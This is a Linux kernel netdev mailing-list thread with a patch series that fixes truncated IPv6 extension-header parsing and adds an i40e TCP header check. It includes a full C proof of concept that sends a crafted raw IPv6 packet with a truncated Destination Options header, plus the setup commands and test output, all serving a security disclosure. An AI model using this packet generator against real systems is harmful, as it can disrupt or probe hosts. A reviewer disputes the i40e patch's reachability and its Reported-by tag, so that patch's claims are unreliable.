* [PATCH net v1 0/2] net: validate malformed IPv6 and TCP headers
@ 2026-09-26 18:23 Ren Wei
2026-09-26 18:23 ` [PATCH net v1 1/2] ipv6: reject truncated extension headers in ipv6_skip_exthdr() Ren Wei
2026-09-26 18:23 ` [PATCH net v1 2/2] i40e: validate TCP header before ATR access Ren Wei
0 siblings, 2 replies; 5+ messages in thread
From: Ren Wei @ 2026-09-26 18:23 UTC (permalink / raw)
To: netdev, intel-wired-lan
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms,
steffen.klassert, herbert, lucien.xin, anthony.l.nguyen,
przemyslaw.kitszel, jbrandeb, sln, fw, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
Hi Linux kernel maintainers,
This series fixes two malformed-packet parsing issues found in the
networking stack. The first is in net/ipv6/exthdrs_core.c: a truncated
IPv6 extension header can make ipv6_skip_exthdr() return an offset past
the end of the skb. The second is in the i40e driver: i40e_atr() can
dereference a TCP header without first checking that the complete header
is present in the skb.
The direct IPv6 reproducer reaches the affected netfilter caller when
run as root and demonstrates the invalid offset. We did not establish
ordinary non-root reachability for this caller. The i40e and XFRM BEET
paths were compile-checked and reviewed, but were not runtime-tested
because the QEMU guests did not provide the required hardware or
offload device.
We've tested the IPv6 changes in clean and patched QEMU guests. Complete
extension headers and the tested IPv6 reassembly behavior remain intact.
We will provide detailed information about the bug in this email,
along with the complete PoC source.
---- details below ----
Bug details:
Patch 1 fixes the IPv6 parser. ipv6_skip_exthdr() derives the
extension-header length from hdrlen and advances the offset without
first checking that the complete header is present in the skb. A
truncated Destination Options header can therefore make it return an
offset past skb->len.
The fix rejects the header when its calculated length exceeds the
remaining skb data, before reading the next-header value or advancing
the offset. Consumers that use the returned offset now handle -1 as a
malformed packet: IPv6 fragment reassembly rejects a malformed first
fragment, ICMPv6 does not send an error reply, and XFRM BEET GSO aborts
before updating the transport offset. Complete extension headers retain
their existing behavior.
Patch 2 fixes a separate length check in i40e_atr(). ipv6_find_hdr()
can identify TCP as the next protocol without proving that a complete
struct tcphdr is present. The patch checks the remaining skb data before
i40e_atr() inspects TCP flags.
Reproducer:
gcc -O2 -Wall -Wextra -o poc poc.c
ip link add veth0 type veth peer name veth1
ip link set dev veth0 address 52:36:9e:3a:43:2d
ip link set dev veth1 address 02:00:00:00:00:02
ip -6 addr add 2001:db8:5252::1/64 dev veth0
ip link set veth0 up
ip link set veth1 up
nft add table ip6 caller_probe
nft add chain ip6 caller_probe input \
'{ type filter hook input priority 0; policy accept; }'
nft add rule ip6 caller_probe input iifname veth0 \
counter reject with icmpv6 type port-unreachable
The commands above require root privileges and were run directly in an
x86 QEMU guest with 2 vCPUs and 2 GB of RAM.
For the packet-level observation, we temporarily added the following
debug print in nf_reject_v6_csum_ok(), immediately after its
ipv6_skip_exthdr() call in net/ipv6/netfilter/nf_reject_ipv6.c:
pr_info("skip caller=reject6_csum offset=%d skb_len=%u proto=%u\n",
thoff, skb->len, proto);
The temporary change was not included in the submitted patch. On each
kernel, we cleared the log, ran poc directly, and checked the result
with:
dmesg -C
./poc veth1 52:36:9e:3a:43:2d 2001:db8:5252::1
poc_rc=$?
echo "poc_rc=$poc_rc"
dmesg | grep 'skip caller=reject6_csum'
nft list chain ip6 caller_probe input
Additional validation:
The direct helper and consumer probe ran in matching clean and patched
QEMU guests as root. All 25 assertions passed in both guests. The key
Destination Options case declared a 2048-byte header while only 8 bytes
were available:
- clean: ipv6_skip_exthdr() returned offset 2048
- patched: ipv6_skip_exthdr() returned -1
The shared fragment consumer likewise returned false on the clean kernel
and true on the patched kernel for a truncated extension header. The
packet-level runner completed with expanded_poc=PASS on both kernels,
and the final fault scan found no BUG, Oops, KASAN report, panic, or
soft-lockup. These tests establish behavior in root QEMU guests only;
they do not prove non-root or user-namespace reachability.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/ipv6.h>
#include <net/if.h>
#include <netinet/in.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
static int parse_mac(const char *text, unsigned char *mac)
{
unsigned int values[ETH_ALEN];
if (sscanf(text, "%x:%x:%x:%x:%x:%x",
&values[0], &values[1], &values[2], &values[3],
&values[4], &values[5]) != ETH_ALEN)
return -1;
for (size_t index = 0; index < ETH_ALEN; index++) {
if (values[index] > 0xff)
return -1;
mac[index] = (unsigned char)values[index];
}
return 0;
}
static int get_interface_mac(const char *interface, unsigned char *mac)
{
struct ifreq request;
int socket_fd;
int result;
socket_fd = socket(AF_INET, SOCK_DGRAM, 0);
if (socket_fd < 0)
return -1;
memset(&request, 0, sizeof(request));
strncpy(request.ifr_name, interface, IFNAMSIZ - 1);
result = ioctl(socket_fd, SIOCGIFHWADDR, &request);
if (result == 0)
memcpy(mac, request.ifr_hwaddr.sa_data, ETH_ALEN);
close(socket_fd);
return result;
}
static void print_usage(const char *program)
{
fprintf(stderr,
"usage: %s <interface> <destination-mac> <destination-ipv6>\n",
program);
}
int main(int argc, char **argv)
{
unsigned char source_mac[ETH_ALEN];
unsigned char destination_mac[ETH_ALEN];
unsigned char frame[ETH_HLEN + sizeof(struct ipv6hdr) + 8];
struct ipv6hdr *ip6;
struct sockaddr_ll address;
struct in6_addr destination;
const char *interface;
int socket_fd;
int interface_index;
ssize_t sent;
unsigned int hdrlen = 255;
if (argc != 4) {
print_usage(argv[0]);
return 2;
}
interface = argv[1];
if (parse_mac(argv[2], destination_mac) < 0) {
fprintf(stderr, "invalid destination MAC: %s\n", argv[2]);
return 2;
}
if (inet_pton(AF_INET6, argv[3], &destination) != 1) {
fprintf(stderr, "invalid destination IPv6 address: %s\n", argv[3]);
return 2;
}
if (get_interface_mac(interface, source_mac) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
interface_index = (int)if_nametoindex(interface);
if (interface_index == 0) {
perror("if_nametoindex");
return 1;
}
memset(frame, 0, sizeof(frame));
memcpy(frame, destination_mac, ETH_ALEN);
memcpy(frame + ETH_ALEN, source_mac, ETH_ALEN);
frame[12] = ETH_P_IPV6 >> 8;
frame[13] = ETH_P_IPV6 & 0xff;
ip6 = (struct ipv6hdr *)(frame + ETH_HLEN);
ip6->version = 6;
ip6->payload_len = htons(8);
ip6->nexthdr = IPPROTO_DSTOPTS;
ip6->hop_limit = 64;
inet_pton(AF_INET6, "2001:db8:5252::2", &ip6->saddr);
ip6->daddr = destination;
frame[ETH_HLEN + sizeof(struct ipv6hdr)] = IPPROTO_TCP;
frame[ETH_HLEN + sizeof(struct ipv6hdr) + 1] = hdrlen;
socket_fd = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_IPV6));
if (socket_fd < 0) {
perror("AF_PACKET/SOCK_RAW");
return 1;
}
memset(&address, 0, sizeof(address));
address.sll_family = AF_PACKET;
address.sll_protocol = htons(ETH_P_IPV6);
address.sll_ifindex = interface_index;
address.sll_halen = ETH_ALEN;
memcpy(address.sll_addr, destination_mac, ETH_ALEN);
sent = sendto(socket_fd, frame, sizeof(frame), 0,
(struct sockaddr *)&address, sizeof(address));
if (sent < 0) {
perror("sendto");
close(socket_fd);
printf("send_rc=-1 errno=%d\n", errno);
return 1;
}
printf("send_rc=%zd\n", sent);
close(socket_fd);
return sent == (ssize_t)sizeof(frame) ? 0 : 1;
}
------END poc.c--------
----BEGIN test output----
send_rc=62
poc_rc=0
[ 456.953986] skip caller=reject6_csum offset=2088 skb_len=48 proto=6
table ip6 caller_probe {
chain input {
type filter hook input priority filter; policy accept;
iifname "veth0" counter packets 1 bytes 48 reject
}
}
----END test output----
Zixuan Chai (2):
ipv6: reject truncated extension headers in ipv6_skip_exthdr()
i40e: validate TCP header before ATR access
---
drivers/net/ethernet/intel/i40e/i40e_txrx.c | 3 +++
include/net/ipv6_frag.h | 4 +++-
net/ipv4/esp4_offload.c | 8 ++++++--
net/ipv6/esp6_offload.c | 8 ++++++--
net/ipv6/exthdrs_core.c | 14 +++++++-------
net/ipv6/icmp.c | 2 +-
6 files changed, 26 insertions(+), 13 deletions(-)
--
2.34.1
^ permalink raw reply [flat|nested] 5+ messages in thread* [PATCH net v1 1/2] ipv6: reject truncated extension headers in ipv6_skip_exthdr()
2026-09-26 18:23 [PATCH net v1 0/2] net: validate malformed IPv6 and TCP headers Ren Wei
@ 2026-09-26 18:23 ` Ren Wei
2026-09-26 18:23 ` [PATCH net v1 2/2] i40e: validate TCP header before ATR access Ren Wei
1 sibling, 0 replies; 5+ messages in thread
From: Ren Wei @ 2026-09-26 18:23 UTC (permalink / raw)
To: netdev, intel-wired-lan
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms,
steffen.klassert, herbert, lucien.xin, anthony.l.nguyen,
przemyslaw.kitszel, jbrandeb, sln, fw, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
ipv6_skip_exthdr() derives the length of each extension header from packet
data. When the packet ends before the declared length, it currently
advances the offset past the end of the skb and reports a successful
parse.
Check the remaining skb length before advancing over an extension header.
Handle the resulting -1 in the consumers that use the offset or classify
the first fragment: reject malformed first fragments during IPv6
reassembly, including conntrack reassembly; suppress ICMPv6 replies; and
abort XFRM BEET GSO before updating the transport offset.
Update the helper comment to describe the -1 failure result.
Fixes: 25a44ae93d1a ("esp6: support ipv6 nexthdrs process for beet gso segment")
Fixes: 6f297068a069 ("esp4: support ipv6 nexthdrs process for beet gso segment")
Cc: stable@vger.kernel.org
Reported-by: Florian Westphal <fw@strlen.de>
Closes: https://lore.kernel.org/netfilter-devel/aq1HaYS96SNn7HJY@strlen.de/
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
include/net/ipv6_frag.h | 4 +++-
net/ipv4/esp4_offload.c | 8 ++++++--
net/ipv6/esp6_offload.c | 8 ++++++--
net/ipv6/exthdrs_core.c | 14 +++++++-------
net/ipv6/icmp.c | 2 +-
5 files changed, 23 insertions(+), 13 deletions(-)
diff --git a/include/net/ipv6_frag.h b/include/net/ipv6_frag.h
index 41d9fc6965f9..5616f6e7428d 100644
--- a/include/net/ipv6_frag.h
+++ b/include/net/ipv6_frag.h
@@ -125,7 +125,9 @@ ipv6frag_thdr_truncated(struct sk_buff *skb, int start, u8 *nexthdrp)
int offset;
offset = ipv6_skip_exthdr(skb, start, &nexthdr, &frag_off);
- if (offset < 0 || (frag_off & htons(IP6_OFFSET)))
+ if (offset < 0)
+ return true;
+ if (frag_off & htons(IP6_OFFSET))
return false;
switch (nexthdr) {
case NEXTHDR_TCP:
diff --git a/net/ipv4/esp4_offload.c b/net/ipv4/esp4_offload.c
index abd77162f5e7..a29e79a8b924 100644
--- a/net/ipv4/esp4_offload.c
+++ b/net/ipv4/esp4_offload.c
@@ -168,10 +168,14 @@ static struct sk_buff *xfrm4_beet_gso_segment(struct xfrm_state *x,
skb->transport_header -= IPV4_BEET_PHMAXLEN;
}
} else {
__be16 frag;
+ int offset;
- skb->transport_header +=
- ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ offset = ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ if (offset < 0)
+ return ERR_PTR(-EINVAL);
+
+ skb->transport_header += offset;
if (proto == IPPROTO_TCP)
skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV4;
}
diff --git a/net/ipv6/esp6_offload.c b/net/ipv6/esp6_offload.c
index 22895521a57d..2fbf6f567a50 100644
--- a/net/ipv6/esp6_offload.c
+++ b/net/ipv6/esp6_offload.c
@@ -210,10 +210,14 @@ static struct sk_buff *xfrm6_beet_gso_segment(struct xfrm_state *x,
if (proto == IPPROTO_TCP)
skb_shinfo(skb)->gso_type |= SKB_GSO_TCPV6;
} else {
__be16 frag;
+ int offset;
- skb->transport_header +=
- ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ offset = ipv6_skip_exthdr(skb, 0, &proto, &frag);
+ if (offset < 0)
+ return ERR_PTR(-EINVAL);
+
+ skb->transport_header += offset;
}
if (proto == IPPROTO_IPIP)
diff --git a/net/ipv6/exthdrs_core.c b/net/ipv6/exthdrs_core.c
index 4a9748338cf4..60e20036c1bd 100644
--- a/net/ipv6/exthdrs_core.c
+++ b/net/ipv6/exthdrs_core.c
@@ -48,15 +48,12 @@ EXPORT_SYMBOL(ipv6_ext_hdr);
* "nexthdrp" initially points to some place,
* where type of the first header can be found.
*
- * It skips all well-known exthdrs, and returns pointer to the start
- * of unparsable area i.e. the first header with unknown type.
+ * It skips all well-known exthdrs, and returns the offset of the start
+ * of the first header with an unknown type.
* If it is not NULL *nexthdr is updated by type/protocol of this header.
*
- * NOTES: - if packet terminated with NEXTHDR_NONE it returns NULL.
- * - it may return pointer pointing beyond end of packet,
- * if the last recognized header is truncated in the middle.
- * - if packet is truncated, so that all parsed headers are skipped,
- * it returns NULL.
+ * NOTES: - if packet terminates with NEXTHDR_NONE or is truncated while
+ * skipping extension headers, it returns -1.
* - First fragment header is skipped, not-first ones
* are considered as unparsable.
* - Reports the offset field of the final fragment header so it is
@@ -107,6 +104,9 @@ int ipv6_skip_exthdr(const struct sk_buff *skb, int start, u8 *nexthdrp,
else
hdrlen = ipv6_optlen(hp);
+ if (skb->len - start < hdrlen)
+ return -1;
+
nexthdr = hp->nexthdr;
start += hdrlen;
}
diff --git a/net/ipv6/icmp.c b/net/ipv6/icmp.c
index a95b0351824f..8896ac90343e 100644
--- a/net/ipv6/icmp.c
+++ b/net/ipv6/icmp.c
@@ -145,7 +145,7 @@ static bool is_ineligible(const struct sk_buff *skb)
ptr = ipv6_skip_exthdr(skb, ptr, &nexthdr, &frag_off);
if (ptr < 0)
- return false;
+ return true;
if (nexthdr == IPPROTO_ICMPV6) {
u8 _type, *tp;
tp = skb_header_pointer(skb,
--
2.34.1
^ permalink raw reply related [flat|nested] 5+ messages in thread* [PATCH net v1 2/2] i40e: validate TCP header before ATR access
2026-09-26 18:23 [PATCH net v1 0/2] net: validate malformed IPv6 and TCP headers Ren Wei
2026-09-26 18:23 ` [PATCH net v1 1/2] ipv6: reject truncated extension headers in ipv6_skip_exthdr() Ren Wei
@ 2026-09-26 18:23 ` Ren Wei
2026-09-27 13:59 ` Eric Dumazet
2026-09-29 6:30 ` Loktionov, Aleksandr
1 sibling, 2 replies; 5+ messages in thread
From: Ren Wei @ 2026-09-26 18:23 UTC (permalink / raw)
To: netdev, intel-wired-lan
Cc: dsahern, idosch, davem, edumazet, kuba, pabeni, horms,
steffen.klassert, herbert, lucien.xin, anthony.l.nguyen,
przemyslaw.kitszel, jbrandeb, sln, fw, petalzu987, weir
From: Zixuan Chai <petalzu987@gmail.com>
i40e_atr() uses ipv6_find_hdr() to locate the TCP header. A successful
protocol match does not verify that the complete TCP header is present in
the skb, so dereferencing the result can access data beyond the packet.
Check that the complete TCP header is available before inspecting it.
Fixes: fd0a05ce74ef ("i40e: transmit, receive, and NAPI")
Cc: stable@vger.kernel.org
Reported-by: Florian Westphal <fw@strlen.de>
Closes: https://lore.kernel.org/netfilter-devel/aq1HaYS96SNn7HJY@strlen.de/
Assisted-by: LLM
Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
Signed-off-by: Ren Wei <weir@nebusec.ai>
---
drivers/net/ethernet/intel/i40e/i40e_txrx.c | 3 +++
1 file changed, 3 insertions(+)
diff --git a/drivers/net/ethernet/intel/i40e/i40e_txrx.c b/drivers/net/ethernet/intel/i40e/i40e_txrx.c
index ef5e657816f0..cdac279b8aed 100644
--- a/drivers/net/ethernet/intel/i40e/i40e_txrx.c
+++ b/drivers/net/ethernet/intel/i40e/i40e_txrx.c
@@ -2911,6 +2911,9 @@ static void i40e_atr(struct i40e_ring *tx_ring, struct sk_buff *skb,
if (l4_proto != IPPROTO_TCP)
return;
+ if (unlikely(skb_tail_pointer(skb) < hdr.network + hlen +
+ sizeof(struct tcphdr)))
+ return;
th = (struct tcphdr *)(hdr.network + hlen);
--
2.34.1
^ permalink raw reply related [flat|nested] 5+ messages in thread* Re: [PATCH net v1 2/2] i40e: validate TCP header before ATR access
2026-09-26 18:23 ` [PATCH net v1 2/2] i40e: validate TCP header before ATR access Ren Wei
@ 2026-09-27 13:59 ` Eric Dumazet
2026-09-29 6:30 ` Loktionov, Aleksandr
1 sibling, 0 replies; 5+ messages in thread
From: Eric Dumazet @ 2026-09-27 13:59 UTC (permalink / raw)
To: Ren Wei
Cc: netdev, intel-wired-lan, dsahern, idosch, davem, kuba, pabeni,
horms, steffen.klassert, herbert, lucien.xin, anthony.l.nguyen,
przemyslaw.kitszel, jbrandeb, sln, fw, petalzu987
On Sat, Sep 26, 2026 at 8:23 PM Ren Wei <weir@nebusec.ai> wrote:
>
> From: Zixuan Chai <petalzu987@gmail.com>
>
> i40e_atr() uses ipv6_find_hdr() to locate the TCP header. A successful
> protocol match does not verify that the complete TCP header is present in
> the skb, so dereferencing the result can access data beyond the packet.
>
> Check that the complete TCP header is available before inspecting it.
>
> Fixes: fd0a05ce74ef ("i40e: transmit, receive, and NAPI")
> Cc: stable@vger.kernel.org
> Reported-by: Florian Westphal <fw@strlen.de>
> Closes: https://lore.kernel.org/netfilter-devel/aq1HaYS96SNn7HJY@strlen.de/
> Assisted-by: LLM
> Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
> Signed-off-by: Ren Wei <weir@nebusec.ai>
> ---
> drivers/net/ethernet/intel/i40e/i40e_txrx.c | 3 +++
> 1 file changed, 3 insertions(+)
>
> diff --git a/drivers/net/ethernet/intel/i40e/i40e_txrx.c b/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> index ef5e657816f0..cdac279b8aed 100644
> --- a/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> +++ b/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> @@ -2911,6 +2911,9 @@ static void i40e_atr(struct i40e_ring *tx_ring, struct sk_buff *skb,
>
> if (l4_proto != IPPROTO_TCP)
> return;
> + if (unlikely(skb_tail_pointer(skb) < hdr.network + hlen +
> + sizeof(struct tcphdr)))
> + return;
>
> th = (struct tcphdr *)(hdr.network + hlen);
>
pw-bot: cr
1) Please do not add bogus Reported-by: / Closes: tags. Florian never
reported an issue in i40e, unless this was not public?
2) How can this code be reached with a truncated or non-linear TCP header?
Unlike ixgbe_atr(), i40e_atr() returns immediately unless
tx_flags & (I40E_TX_FLAGS_IPV4 | I40E_TX_FLAGS_IPV6) is set.
Those flags are only set in i40e_tx_enable_csum(), which only acts on
CHECKSUM_PARTIAL packets and runs right before i40e_atr().
Furthermore, i40e_tx_enable_csum() (and i40e_tso()) already assumes the
network and transport headers are present in the linear skb head and
already dereferences ip.v4->version, ip.v6->nexthdr, and l4.tcp->doff
before i40e_atr() is ever called. Even within i40e_atr(), hdr.network
is already dereferenced prior to your check in the IPv4 branch.
^ permalink raw reply [flat|nested] 5+ messages in thread* RE: [PATCH net v1 2/2] i40e: validate TCP header before ATR access
2026-09-26 18:23 ` [PATCH net v1 2/2] i40e: validate TCP header before ATR access Ren Wei
2026-09-27 13:59 ` Eric Dumazet
@ 2026-09-29 6:30 ` Loktionov, Aleksandr
1 sibling, 0 replies; 5+ messages in thread
From: Loktionov, Aleksandr @ 2026-09-29 6:30 UTC (permalink / raw)
To: Ren Wei, netdev@vger.kernel.org, intel-wired-lan@lists.osuosl.org
Cc: dsahern@kernel.org, idosch@nvidia.com, davem@davemloft.net,
edumazet@kernel.org, kuba@kernel.org, pabeni@redhat.com,
horms@kernel.org, steffen.klassert@secunet.com,
herbert@gondor.apana.org.au, lucien.xin@gmail.com,
Nguyen, Anthony L, Kitszel, Przemyslaw, jbrandeb@kernel.org,
sln@onemain.com, fw@strlen.de, petalzu987@gmail.com
> -----Original Message-----
> From: Ren Wei <weir@nebusec.ai>
> Sent: Saturday, September 26, 2026 8:23 PM
> To: netdev@vger.kernel.org; intel-wired-lan@lists.osuosl.org
> Cc: dsahern@kernel.org; idosch@nvidia.com; davem@davemloft.net;
> edumazet@kernel.org; kuba@kernel.org; pabeni@redhat.com;
> horms@kernel.org; steffen.klassert@secunet.com;
> herbert@gondor.apana.org.au; lucien.xin@gmail.com; Nguyen, Anthony L
> <anthony.l.nguyen@intel.com>; Kitszel, Przemyslaw
> <przemyslaw.kitszel@intel.com>; jbrandeb@kernel.org; sln@onemain.com;
> fw@strlen.de; petalzu987@gmail.com; weir@nebusec.ai
> Subject: [PATCH net v1 2/2] i40e: validate TCP header before ATR
> access
>
> From: Zixuan Chai <petalzu987@gmail.com>
>
> i40e_atr() uses ipv6_find_hdr() to locate the TCP header. A successful
> protocol match does not verify that the complete TCP header is present
> in the skb, so dereferencing the result can access data beyond the
> packet.
>
> Check that the complete TCP header is available before inspecting it.
>
> Fixes: fd0a05ce74ef ("i40e: transmit, receive, and NAPI")
> Cc: stable@vger.kernel.org
> Reported-by: Florian Westphal <fw@strlen.de>
> Closes: https://lore.kernel.org/netfilter-
> devel/aq1HaYS96SNn7HJY@strlen.de/
> Assisted-by: LLM
> Signed-off-by: Zixuan Chai <petalzu987@gmail.com>
> Signed-off-by: Ren Wei <weir@nebusec.ai>
> ---
> drivers/net/ethernet/intel/i40e/i40e_txrx.c | 3 +++
> 1 file changed, 3 insertions(+)
>
> diff --git a/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> b/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> index ef5e657816f0..cdac279b8aed 100644
> --- a/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> +++ b/drivers/net/ethernet/intel/i40e/i40e_txrx.c
> @@ -2911,6 +2911,9 @@ static void i40e_atr(struct i40e_ring *tx_ring,
> struct sk_buff *skb,
>
> if (l4_proto != IPPROTO_TCP)
> return;
> + if (unlikely(skb_tail_pointer(skb) < hdr.network + hlen +
> + sizeof(struct tcphdr)))
> + return;
>
> th = (struct tcphdr *)(hdr.network + hlen);
>
> --
> 2.34.1
Reviewed-by: Aleksandr Loktionov <aleksandr.loktionov@intel.com>
^ permalink raw reply [flat|nested] 5+ messages in thread
end of thread, other threads:[~2026-09-29 6:30 UTC | newest]
Thread overview: 5+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-09-26 18:23 [PATCH net v1 0/2] net: validate malformed IPv6 and TCP headers Ren Wei
2026-09-26 18:23 ` [PATCH net v1 1/2] ipv6: reject truncated extension headers in ipv6_skip_exthdr() Ren Wei
2026-09-26 18:23 ` [PATCH net v1 2/2] i40e: validate TCP header before ATR access Ren Wei
2026-09-27 13:59 ` Eric Dumazet
2026-09-29 6:30 ` Loktionov, Aleksandr
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox